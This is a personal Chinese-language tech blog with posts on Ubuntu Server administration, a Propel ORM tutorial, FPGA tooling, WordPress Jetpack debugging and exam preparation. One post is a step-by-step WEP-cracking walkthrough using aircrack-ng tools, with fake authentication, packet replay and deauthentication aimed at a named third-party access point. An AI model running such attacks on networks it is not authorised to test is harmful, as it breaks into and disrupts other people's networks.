Ming's blog

一個軟體工程師的旅程 :)

當初在選 Linux server distribution 的時候,在 Archlinux, CentOS, Debian, Ubuntu Server 之間猶豫許久也看了很多比較的文章,最終選擇了 Ubuntu Server LTS 作為自己在使用 Linux Server distribution 的主力。

用了三年多的時間,也累積了一些經驗,總結在這裡,方便自己翻閱。

推薦 package

  • vim
  • git
  • unattended-upgrades
  • update-notifier-common
  • openssh-server
  • docker
  • ufw

upgrade system

1
2
~$ apt-get update && apt-get upgrade && apt-get dist-upgrade
~$ apt-get autoremove

upgrade new release

1
~$ do-release-upgrade

-bash: /bin/cp: Argument list too long

1
find ./soruce -name "*" | xargs -i cp {} /target

ssh: packet_write_wait: Connection to IP port 22: Broken pipe

1
~$ sudo vim /etc/ssh/ssh_config
1
2
3
Host *
ServerAliveInterval 3600
ServerAliveCountMax 168
1
~$ sudo systemctl restart sshd.service

copy ssh public key from local to server(remote machine)

很久以前會手動去跑這個流程,流程大致如下:

1
2
3
~$ mkdir -p ~/.ssh
~$ touch ~/.ssh/authorized_keys
~$ cat *pub* >> ~/.ssh/authorized_keys

後來在實驗室筆記看到這個用法:

1
~$ ssh-copy-id -i ~/.ssh/id_rsa.pub usename@targetipaddressordomainname

add user to the “sudo” group

新建立的使用者

1
~$ sudo adduser <username> sudo

已經存在的使用者

1
sudo usermod -aG sudo <username>

Reference

set timezone to Asia/Taipei

1
sudo timedatectl set-timezone Asia/Taipei

or 手動選擇

1
dpkg-reconfigure tzdata

Set Up an NTP Server (Network Time Protocol)

1
2
3
sudo apt-get install ntp
sudo ntpdate -s *ntp server*
sudo service ntp restart

NTP Server 可以使用國家標準實驗室提供的

tock.stdtime.gov.tw
watch.stdtime.gov.tw
time.stdtime.gov.tw
clock.stdtime.gov.tw
tick.stdtime.gov.tw

或者 Google Public NTP

time1.google.com
time2.google.com
time3.google.com
time4.google.com

clear DNS cache

1
~$ sudo /etc/init.d/dns-clean restart

change the hostname

1
~$ vim /etc/hostname

清空 memory cache

1
~$ free -m && sync && echo 3 > /proc/sys/vm/drop_caches && free -m

Time Synchronization

1
2
3
~$ service ntp stop
~$ ntpdate -s time.google.com
~$ service ntp start

這學期修系上的 網際網路資料庫程式設計,課程主要使用 PHP + MySQL。

期末專題,在 MySQL 資料庫操作上,沒有直接使用 PHP 內建的 PDO、mysqli

而是使用 ORM(Object Relational Mapping) 進行開發,這次使用的 PHP ORM 叫作 Propel

高職的時候為了完成畢聯會的程式,就曾經使用過 Propel 進行開發。

當初找 PHP ORM 的資料有看到 DoctrinePropel,當時看到 Propel 官方頁面比較漂亮,所以就選擇了 Propel,不過再重新選擇一次的話,大概會選擇 Doctrine,原因無它,明顯 Doctrine 開發比較活躍,GitHub 上的狀況看起來比較健康。

不過 Propel 算是一套蠻容易上手的 ORM,寫起來也蠻舒服的,考慮學習成本的情況選擇了熟悉的 Propel。


這次主要使用 WAMP (Windows / Apache / MySQL / PHP) 開發環境如下

Windows Version: Windows 7 Professional SP1 64-bit
XAMPP Version: 5.6.30
Composer version 1.4.2 2017-05-17 08:17:52

1
2
~# pwd
/c/xampp/htdocs/propel_example
1
~$ vim composer.json
1
2
3
4
5
{
"require": {
"propel/propel": "~2.0@dev"
}
}
1
~$ composer install
1
~$ mkdir orm && cd orm

Propel 有一個殺手級功能,Propel 可以針對存在的 database 進行 Schema reverse engineering !

Propel init 是 Propel 的初始化工具,會用問答式的方式 產生出需要的配置文件 (當然也可以自己手動撰寫配置文件,有興趣可以自行參考官方的 Document)

1
~$ ../vendor/propel/propel/bin/propel init
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
Propel 2 Initializer

First we need to set up your database connection.

Please pick your favorite database management system:
[mysql] MySQL
[sqlite] SQLite
[pgsql] PostgreSQL
[oracle] Oracle
[sqlsrv] MSSQL (via pdo-sqlsrv)
[mssql] MSSQL (via pdo-mssql)

> mysql

Please enter your database host [localhost]:
Please enter your database port [3306]:
Please enter your database name: propel_example
Please enter your database user [root]:
Please enter your database password: *password*

Which charset would you like to use? [utf8]:

Connected to sql server successful!

The initial step in every Propel project is the "build". During build time, a developer describes the structure of the datamodel in a XML file called the "schema".

From this schema, Propel generates PHP classes, called "model classes", made of object-oriented PHP code optimized for a given RDMBS. The model classes are the primary interface to find and manipulate data in the database in Propel.

The XML schema can also be used to generate SQL code to setup your database. Alternatively, you can generate the schema from an existing database.

Do you have an existing database you want to use with propel? [no]: yes

Where do you want to store your schema.xml? [C:\xampp\htdocs\propel_example\orm]:
Where do you want propel to save the generated php models? [C:\xampp\htdocs\propel_example\orm]: C:\xampp\htdocs\propel_example\orm\model
Which namespace should the generated php models use?:

Schema reverse engineering finished.

Propel asks you to define some data to work properly, for instance: connection parameters, working directories, flags to take decisions and so on. You can pass these data via a configuration file.

The name of the configuration file is propel, with one of the supported extensions (yml, xml, json, ini, php). E.g. propel.yml or propel.json.

Please enter the format to use for the generated configuration file (yml, xml, json, ini, php) [yml]:
[0] yml
[1] xml
[2] json
[3] ini
[4] php

Propel 2 Initializer - Summary

The Propel 2 Initializer will set up your project with the following settings:

Path to schema.xml: C:\xampp\htdocs\propel_example\orm/schema.xml
Path to config file: C:\xampp\htdocs\propel_example\orm/propel.yml
Path to generated php models: C:\xampp\htdocs\propel_example\orm\model
Namespace of generated php models:

Database management system: mysql
Charset: utf8
User: root

Is everything correct? [no]: yes

+ C:\xampp\htdocs\propel_example\orm/schema.xml
+ C:\xampp\htdocs\propel_example\orm/propel.yml
+ C:\xampp\htdocs\propel_example\orm/propel.yml.dist
Successfully wrote PHP configuration in file "C:\xampp\htdocs\propel_example\orm/generated-conf\config.php".

Propel 2 is ready to be used!

下面是從建立用於示範的 propel_example 資料庫中導出的 .sql 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
--
-- Database: `propel_example`
--

-- --------------------------------------------------------

--
-- Table structure for table `blog`
--

CREATE TABLE `blog` (
`id` int(11) NOT NULL,
`name` varchar(32) NOT NULL,
`domain` varchar(256) NOT NULL,
`owner` varchar(32) NOT NULL,
`created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Indexes for dumped tables
--

--
-- Indexes for table `blog`
--
ALTER TABLE `blog`
ADD PRIMARY KEY (`id`);

--
-- AUTO_INCREMENT for dumped tables
--

--
-- AUTO_INCREMENT for table `blog`
--
ALTER TABLE `blog`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;

這是 Propel 針對 database 進行 reverse engineering 生成的 schema.xml(Database Schema)

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="utf-8"?>
<database name="default" defaultIdMethod="native" defaultPhpNamingMethod="underscore">
<table name="blog" idMethod="native" phpName="Blog">
<column name="id" phpName="Id" type="INTEGER" primaryKey="true" autoIncrement="true" required="true"/>
<column name="name" phpName="Name" type="VARCHAR" size="32" required="true"/>
<column name="domain" phpName="Domain" type="VARCHAR" size="256" required="true"/>
<column name="owner" phpName="Owner" type="VARCHAR" size="32" required="true"/>
<column name="created_at" phpName="CreatedAt" type="TIMESTAMP" required="true" defaultExpr="CURRENT_TIMESTAMP"/>
<vendor type="mysql">
<parameter name="Engine" value="InnoDB"/>
</vendor>
</table>
</database>
1
2
3
4
5
6
7
8
9
10
~$ vim composer.json
{
"require": {
"propel/propel": "~2.0@dev"
},
"autoload": {
"classmap": ["./orm/model"]
}
}
~$ composer dump-autoload

下面是一個使用 propel model 的範例,簡單的實作 CRUD (Create、Read、Update、Delete),命名為 crud.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
require_once './vendor/autoload.php';
require_once './orm/generated-conf/config.php';

// Create
$blog = new Blog();
$blog->setName("Ming's blog");
$blog->setDomain("https://blog.alone.tw/");
$blog->setOwner("Ming");
$blog->save();

// Read
$blogQuery = new BlogQuery();
$blogQueryResult = $blogQuery->create()->findOneByName("Ming's blog");

echo '<pre>' . var_export($blogQueryResult, true) . '</pre>';
echo "
id: {$blogQueryResult->getId()} /
name: {$blogQueryResult->getName()} /
domain: {$blogQueryResult->getDomain()} /
owner: {$blogQueryResult->getOwner()}
";

// Update
$blogQuery = new BlogQuery();
$blogQueryResult = $blogQuery->create()->findOneByName("Ming's blog");

$blogQueryResult->setName("Ming's dream");
$blogQueryResult->save();

// Read (check for updates)
$blogQuery = new BlogQuery();
$blogQueryResult = $blogQuery->create()->findOneById(1);

echo '<pre>' . var_export($blogQueryResult, true) . '</pre>';

// Delete
$blogQuery = new BlogQuery();
$blogQueryResult = $blogQuery->create()->findOneById(1);
$blogQueryResult->delete();

// Read (check for delete)
$blogQueryResult = $blogQuery->create()->findOneById(1);
echo '<pre>' . var_export($blogQueryResult, true) . '</pre>';

?>

CRUD 的 output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// Read
Blog::__set_state(array(
'new' => false,
'deleted' => false,
'modifiedColumns' =>
array (
),
'virtualColumns' =>
array (
),
'id' => 1,
'name' => 'Ming\'s blog',
'domain' => 'https://blog.alone.tw/',
'owner' => 'Ming',
'created_at' =>
DateTime::__set_state(array(
'date' => '2017-07-10 23:01:56.000000',
'timezone_type' => 3,
'timezone' => 'Europe/Berlin',
)),
'alreadyInSave' => false,
))

// Read (check for updates)
Blog::__set_state(array(
'new' => false,
'deleted' => false,
'modifiedColumns' =>
array (
),
'virtualColumns' =>
array (
),
'id' => 1,
'name' => 'Ming\'s dream',
'domain' => 'https://blog.alone.tw/',
'owner' => 'Ming',
'created_at' =>
DateTime::__set_state(array(
'date' => '2017-07-10 23:01:56.000000',
'timezone_type' => 3,
'timezone' => 'Europe/Berlin',
)),
'alreadyInSave' => false,
))

// Read (check for delete)
NULL

下面是取出 Product 這個 table 所有資料的範例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$products = (new ProductQuery())->create()->find();

$jsonArr = array('data' => []);
foreach ($products as $product) {
array_push($jsonArr['data'], array(
$product->getId(),
urlencode($product->getName()),
urlencode($product->getModel()),
$product->getPrice(),
$product->getType()
));
}

header('Content-Type: application/json; charset=utf-8');
echo urldecode(json_encode($jsonArr));

順帶一提 model/Base 中的 Blog.php / BlogQuery.php 是很好的 documentation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
  /**
* The value for the name field.
*
* @var string
*/
protected $name;

/**
* Get the [name] column value.
*
* @return string
*/
public function getName()
{
return $this->name;
}

/**
* Set the value of [name] column.
*
* @param string $v new value
* @return $this|\Blog The current object (for fluent API support)
*/
public function setName($v)
{
if ($v !== null) {
$v = (string) $v;
}

if ($this->name !== $v) {
$this->name = $v;
$this->modifiedColumns[BlogTableMap::COL_NAME] = true;
}

return $this;
} // setName()
1
2
3
4
5
* @method     ChildBlog findOneById(int $id) Return the first ChildBlog filtered by the id column
* @method ChildBlog findOneByName(string $name) Return the first ChildBlog filtered by the name column
* @method ChildBlog findOneByDomain(string $domain) Return the first ChildBlog filtered by the domain column
* @method ChildBlog findOneByOwner(string $owner) Return the first ChildBlog filtered by the owner column
* @method ChildBlog findOneByCreatedAt(string $created_at) Return the first ChildBlog filtered by the created_at column *
1
2
3
4
~$ propel sql:build
~$ propel model:build
~$ propel config:convert
~$ propel sql:insert

Reference

這學期系上有一門 數位系統技術 必修課

本課程介紹一個完整的設計方法來使用 Verilog 硬體描述語言設計 FPGA 數位邏輯電路。課 程中並利用 Altera Quartus II 工具來針對以 Verilog 所描述之電路加以設計、模擬、與 合成。

簡單的說就是要用 Quartus II 寫 Verilog。

學校使用的 FPGA 晶片是 EP3C10E144C8

學校使用的軟體是 Quartus II Web Edition,這篇筆記以 Quartus II 9.1 sp2 Web Edition 為準。

File -> New Project Wizard -> Next -> [填寫 Project Name / Top Level Design Entity] -> Next -> [選擇晶片型號] -> Next -> Next -> Finish

儲存 & 編譯

修改 code 之後,可以按 Ctrl + s 儲存,接著 Ctrl + L 可以進行 Start Compilation (Processing -> Start Compilation)

腳位編輯

Assignments -> Pin Planner

燒錄

FPGA 的 Driver 位於 C:\altera\91sp2\quartus\drivers,要先安裝 Driver

軟體內

Tools -> Programmer -> Hardware Setup

在 Currently selected hardwae 中選擇要燒錄的 FPGA

接下來按下 Start 就可以進行燒錄

波形測試

File -> New -> Vector Waveform File

Reference

公司行銷部門的同事前兩天突然敲我,問我說要怎麼在 WordPress 裝上 Jetpack 然後跟 wordpress.com 帳號做連結,原本心裡想說雖然沒裝過 Automattic 出品的 Jetpack,不過裝個 WordPress 插件好像也不會難倒我,自信的登入後臺之後才發現不是這麼一回事…。

看到行銷部門的同事已經把 Jetpack 裝好了,按下 連結 Jetpack 按鈕後,Jetpack 頁面出現了 錯誤詳細信息:

重點是:後面就沒有任何訊息了… ,後來上網找了一下資料,發現 Jetpack 有一個 debug 模式。

在 WordPress 網址後面加上:

wp-admin/admin.php?page=jetpack-debugger

There seems to be a problem with your site’s ability to communicate with Jetpack!
It looks like your site can not communicate properly with Jetpack.

看到一堆錯誤訊息,找到一段可能比較像是錯誤提示的:

1
[body] => {"error":"Can not resolve your domain \"A record\"","error_description":"We were unable to resolve the A record for your domain. It is likely that you have recently registered your domain name. It takes several hours for new or transferred domain names to start working, so please come check back later. If you're still having the same error after 48 hours, please contact your web hosting provider."}

然後一直朝著 Can not resolve your domain A record 去找問題,發現網路上很多人問了同樣的問題,只是官方人員都建議點 support 回報問題 =口=

突然發現另外一條路,Jetpack 官方有提供一個 Debug 的網站

Jetpack for WordPress

輸入網址後顯示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Debug XML-RPC is not responding correctly ( 500 )

It looks like XML-RPC is not responding correctly. Please make sure XML-RPC is turned on for your site and is set up to respond to all content types. You can test this yourself by running the following command from the command line:

curl -A 'Jetpack by WordPress.com' -d '<methodCall><methodName>demo.sayHello</methodName></methodCall>' https://blog.***.com/xmlrpc.php
The answer should be:

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<string>Hello!</string>
</value>
</param>
</params>
</methodResponse>

在 Linux 下面輸入

1
curl -A 'Jetpack by WordPress.com' -d '<methodCall><methodName>demo.sayHello</methodName></methodCall>' https://blog.***.com/xmlrpc.php

發現回傳值是空白

加上 -is -H 看一下 Server 的回傳結果

1
2
3
4
5
6
HTTP/1.1 500 Internal Server Error
Server: nginx
Date: Sun, 04 Dec 2016 06:47:03 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

接著去翻一下 Nginx 的 error_log,感覺發現曙光

1
2
3
4
5
6
7
8
9
2016/12/03 17:00:42 [error] 1126#1126: *10914 FastCGI sent in stderr: "PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function xml_parser_create() in /var/www/***/blog/wp-includes/class-IXR.php:264
Stack trace:
#0 /var/www/***/blog/wp-includes/class-IXR.php(464): IXR_Message->parse()
#1 /var/www/***/blog/wp-includes/class-IXR.php(432): IXR_Server->serve('<?xml version="...')
#2 /var/www/***/blog/wp-includes/class-IXR.php(440): IXR_Server->__construct(Array, false, false)
#3 /var/www/***/blog/wp-includes/class-wp-xmlrpc-server.php(197): IXR_Server->IXR_Server(Array)
#4 /var/www/***/blog/xmlrpc.php(84): wp_xmlrpc_server->serve_request()
#5 {main}
thrown in /var/www/***/blog/wp-includes/class-IXR.php on line 264" while reading response header from upstream, client: 192.3.83.64, server: blog.***.com, request: "POST /xmlrpc.php HTTP/1.1", upstream: "fastcgi://unix:/run/php/php7.0-fpm.sock:", host: "blog.***.com", referrer: "https://blog.***.com/"

其中的 Call to undefined function xml_parser_create() 感覺跟目的解答有 87% 像。

1
sudo apt-get install php7.0-xml
1
sudo systemctl restart php7.0-fpm.service

在用 curl 測試一次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
HTTP/1.1 200 OK
Server: nginx
Content-Type: text/xml; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Date: Sun, 04 Dec 2016 07:04:29 +0000
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<string>Hello!</string>
</value>
</param>
</params>
</methodResponse>

進後臺錯誤訊息也不見了!

感覺被沒裝 PHP 套件雷了好多次,真的有點考慮

1
sudo apt-get install php7.0-*
1
2
Need to get 55.0 MB of archives.
After this operation, 214 MB of additional disk space will be used.

好像也還可以接受(?)

先說結論: WEP 加密方式一點都不可靠。

先把無線網卡設定為 monitor mode

1
2
3
~# ifconfig wlan0 down
~# iwconfig wlan0 mode monitor
~# ifconfig wlan0 up
1
~# sudo airmon-ng start wlan0 *channel number*

wifi 的 channel number 可以透過 inSSiDer 之類的軟體取得

1
2
3
mon0            Unknown         iwlwifi - [phy0]
wlan0 Unknown iwlwifi - [phy0]
(monitor mode enabled on mon1)

接著 ifconfig 會多出一張 mon0 的網卡

或者可以用下面指令檢查

1
~# sudo airmon-ng

會出現:

1
2
3
4
5
Interface       Chipset         Driver

mon0 Unknown iwlwifi - [phy0]
wlan0 Unknown iwlwifi - [phy0]
mon1 Unknown iwlwifi - [phy0]

重點就是 mon* 網卡,之後 crack 都需要用到 mon 網卡。

1
~# sudo iwconfig mon0 channel **channel number**

將 mon0 網卡的 channel 設定為指定的 channel number (其實就是要 crack 的 AP 所屬的 channel)

接著利用 airodump-ng 來掃描網路環境

1
~# sudo airodump-ng mon0

會出現下方類似的畫面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
CH -1 ][ Elapsed: 0 s ][ 2016-08-17 16:49                                         

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

82:01:84:F1:F5:D3 -78 5 0 0 1 54e. WPA2 CCMP PSK s
36:08:04:27:90:5C -52 30 42 10 1 54e OPN NewTaipei
34:08:04:27:90:5C -53 29 104 17 1 54e. OPN iTaiwan
00:0A:79:CC:0C:47 -68 24 126 39 1 54e. WEP WEP ndlib1

BSSID STATION PWR Rate Lost Packets Probes

34:08:04:27:90:5C D4:0B:1A:F6:A9:A0 -49 54e-54e 374 67
00:0A:79:CC:0C:47 88:32:9B:D4:47:2B -69 24e- 1 29 179
00:0A:79:CC:0C:47 84:3A:4B:32:A1:CA 0 2e-48e 0 141
00:0A:79:CC:0C:47 FC:FC:48:AF:02:CB -44 48e-24 2143 11

重點有

BSSID(Mac Address) / CH(channel) / ENC / CIPHER / ESSID(SSID)

先確認目標 ENC / CIPHER 是不是 WEP / WEP 是的話就先恭喜了,代表目標 AP 加密方式為 WEP。

接下來縮小範圍

1
~# sudo airodump-ng --channel 1 mon0

我們的目標是 00:0A:79:CC:0C:47 ndlib1

1
2
3
4
5
sudo aireplay-ng --fakeauth 0 -a 00:0A:79:CC:0C:47 -e ndlib1 mon0
sudo airodump-ng --channel 1 -w ~/Temp/crack/crackwepwifi -i mon0
sudo aireplay-ng -3 -b 00:0A:79:CC:0C:47 mon0
sudo aireplay-ng --deauth 0 -a 00:0A:79:CC:0C:47 mon0
sudo aircrack-ng -0 -b 00:0A:79:CC:0C:47 ~/Temp/crack/crackwepwifi-02.ivs

Reference

http://www.king-foo.com/2010/05/hacking-wep-encryption-on-ubuntu/
BT3 - iwconfig: device or resource busy
how to change channel

開啟命令提示字元(cmd)

輸入:

1
wusa.exe /uninstall /kb:3035583 /quiet

並且隱藏 KB3035583 更新

2019/01/09

2018/10/21

2018/08/05

2018/07/24

2018/07/15

2018/05/16

  • 夢一場 - 张碧晨
  • 袖手旁觀 - 张碧
  • 最美情侶

2018/04/30

2018/04/29

  • 體面 - 于文文

2018/03/24

2018/02/24

  • 再見只是陌生人 - 莊心妍
  • 最美不過初相見 - 孫子涵

2018/01/21

2017/12/14

2017/10/23

2017/09/13

2017/08/11

2017/06/23

2017/06/21

2017/06/20

2017/03/27

2016/12/11

2016/12/08

2016/11/19

2016/11/10

2016/10/28

2016/10/23

2016/10/17

下學期沒意外應該會去校計中系統開發組工讀,由於學校很大量的使用 PHP,只能入境隨俗的跟 PHP 做朋友了,筆記一下安裝 LNMP 的過程。

Linux(L) - Ubuntu Server 14.04

第一個接觸的發行版是 Debian,所以對 Debian 家族很有好感,Linux 環境部份就選用 Ubuntu Server 14.04 LTS。

Nginx(N)

沒有特殊的需求的話,在 Ubuntu Server 安裝的方法很簡單。

1
sudo apt-get update && sudo apt-get install nginx

MySQL(M)

1
2
3
sudo apt-get update && sudo apt-get install mysql-server
sudo mysql_install_db
sudo mysql_secure_installation

PHP 7(P)

可以直接使用 deb.sury.org 編譯好的版本。

1
2
sudo add-apt-repository ppa:ondrej/php-7.0
sudo apt-get install php7.0 php7.0-fpm php7.0-mysql

設定 FastCGI (使用 php-fpm)

1
sudo vim /etc/nginx/sites-enabled/default

在 server block 下,加入:

1
2
3
4
5
6
location ~ \.php$ {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;;
fastcgi_index index.php;
include fastcgi_params;
}

測試

1
~# echo "<?php echo phpinfo() ?>" >> /usr/share/nginx/html/phpinfo.php

在瀏覽器打開 localhost/phpinfo.php

可以看到以 PHP Version 7.0.2-1+deb.sury.org~trusty+1 為大標題的 phpinfo 頁面,表示順利安裝完成了!

今天有需要用到 DB Browser for SQLite,Ubuntu 軟體中心提供的版本還在 2.0 Beta…,索性 Google 找一下有沒有 PPA 之類的,得到的結果是要自己編譯,就照著 Step by Step 操作了,結果無法順利完成編譯(fatal error: QtWidgets/QUndoCommand: No such file or directory)。最後又在偉大的 Stack Overflow 獲得解答,並順利完成編譯。

Ubuntu 沒有編好的 deb 包可以用,所以先去 Github 下載 Source code (tar.gz)

Releases · sqlitebrowser/sqlitebrowser · GitHub

sudo apt-get install qt4-qmake cmake libsqlite3-dev libqt4-dev libqt4-core libqt4-qt3support
wget https://github.com/sqlitebrowser/sqlitebrowser/archive/*v3.5.0.tar.gz*
tar -xvf v3.5.0.tar.gz
cd sqlitebrowser-3.5.0/
qmake
make

要啟動的話

cd sqlitebrowser-sqlb-3.2.0/src
./sqlitebrowser

Reference

讀了近三年資訊科(半年電子科/兩年多資訊科),blog 其實鮮少有我課程中實際所學的東西,目前臺灣技職體系,資訊科還是隸屬於電機與電子群(電子),所以我們統測大部分的考科都還是硬體相關的理論/實務知識,所安排的課程大概也是電相關的,畢業前應該要來一篇與我高職所學相關的東西!

工科賽完後,緊湊著乙級檢定術科的日子也要到來,必須要在不到兩個月內的課餘時間獨自練習(班上 30 人乙級考科分佈為 5/30 考 電腦軟體應用 24/30 考 電腦硬體裝修 1/30 考數位電子),總算在上周六順利通過乙級數位電子術科測驗,因為練習的時間緊湊,從原先的徬徨到後來漸漸上手到最後的游刃有餘,過程中累積了一些經驗、最佳實踐(Best Practice),留下筆記供有需要應考乙級數位電子的人做參考。

閱讀這份最佳實踐(Best Practice)前,建議先對乙級數位電子術科各個項目有一定的了解,最佳實踐(Best Practice)顧名思義是優化實踐的過程,所以不會有太多理論/完整的說明,只會提供我在練習過程中最優的實踐法則,這些實踐法則都有經過實際燒錄、測試機臺實際測試,當然你也可以認為這是我個人的筆記。

簡章下載

考試只有應檢參考資料(簡章)可以閱覽,所以最終目標就是要看應檢參考資料就有辦法完成作業,所以請熟悉閱覽數位電子乙級技術士技能檢定術科測試應檢參考資料

學科準備

數位電子學科比起 電腦軟體應用、電腦硬體裝修來說,難度較高,所以建議多花一些心思去準備,可以盡量了解題目的原理,在應答上會更加得心應手。

數位電子學科有極大的比例會從歷屆試題中出現,以我自己實際去考學科的經驗,新題目大概只有佔到 10% 左右,甚至更少。

數位電子學科建議從 97 年之後的歷屆試題開始準備起,因為 97 年有換過考試架構,所以從 97 年的學科開始準備即可。

建議將學科的題目列印出,看過一遍將不會的題目標註起來,確定某個梯次的歷屆試題大致準備完成之後,在前往士林高商所建立的乙級測驗系統進行練習。

學科資源

術科準備

術科主要分成三個部分,設計母板電路圖(方格紙繪製)、焊接板子(母板、子板)、CPLD 設計(硬體描述語言撰寫(VHDL) or 原理圖設計(Schematic Diagram),下面一一說明。

還有,個人建議先把一題完整弄熟,只要一題可以弄熟的話,後面兩題就可以無師自通!

設計母板電路圖(方格紙繪製)

方格紙繪製上面有一些規則需要遵守(請查閱數位電子乙級技術士技能檢定術科測試應檢參考資料 54 頁開始) ,由於種種原因這部分暫時先略過不寫。

焊接板子

下面直接提供我焊接的成品圖,三年前的相機,所以拍得很清晰,不過正常仿製應該不會有太大問題。記得依造焊接規則焊接,並記得要補點。

第一題:四位數多工顯示器

  • 萬孔板零件面:

01_1

  • 萬孔板銅箔面:

01_2

第二題:.鍵盤掃瞄裝置

  • 萬孔板零件面:

※注意穩壓 IC 的擺放

02_1

  • 萬孔板銅箔面:

02_2

第三題:數位電子鐘

  • 萬孔板零件面:

03_1

  • 萬孔板銅箔面:

03_2

CPLD 設計

CPLD 設計部分,我使用的是 Quartus II 9.1 sp2 Web Edition,相關產品可以至 Altera 官方頁面中註冊並下載。

Quartus II Web Edition Software - Quartus II Web Edition Service Pack 2

下面提供的是 原理圖設計(Schematic Diagram) 的方式,採用這種方式是因為簡單且沒有太多問題(只要是 follow 上面的佈線)。

第一題:四位數多工顯示器

01_sd

第二題:鍵盤掃瞄裝置

02_sd

第三題:數位電子鐘

03_sd

完成檔下載

如果需要原始 qpf 檔案,請點下方《Download》進行下載。

Download

總結

比賽完沒多久就接續投入練習數位電子乙級,其實剛開始也是徬徨無助,不過很感謝我數位電子乙級訓練過程中有廖主任這位指導老師,勤勞的指導我才能順利過關。

如果你問我數位電子乙級必過的絕招,我只能跟你說就是勤加練習,過程中我的指導老師一直跟我說:

不熟沒關係,畫一遍還是不熟,那就三題通通給它畫個十遍,就都熟了。這些都是基本動作

雖然是很簡單的話,不過卻是考檢定是否有通過的關鍵。更是人生學習道路中,很多領域都適用的道理。

考檢定真的沒有太困難點(甲級沒有 open 考題除外),通常最困難的地方就是戰勝怠惰的心。檢定後再整理檔案,統計過我三站板子大概焊了十來張,Layout 圖也畫了近四十次。

所以祝福所有想要考這張證照的人可以順利通過!

Do your best!

0%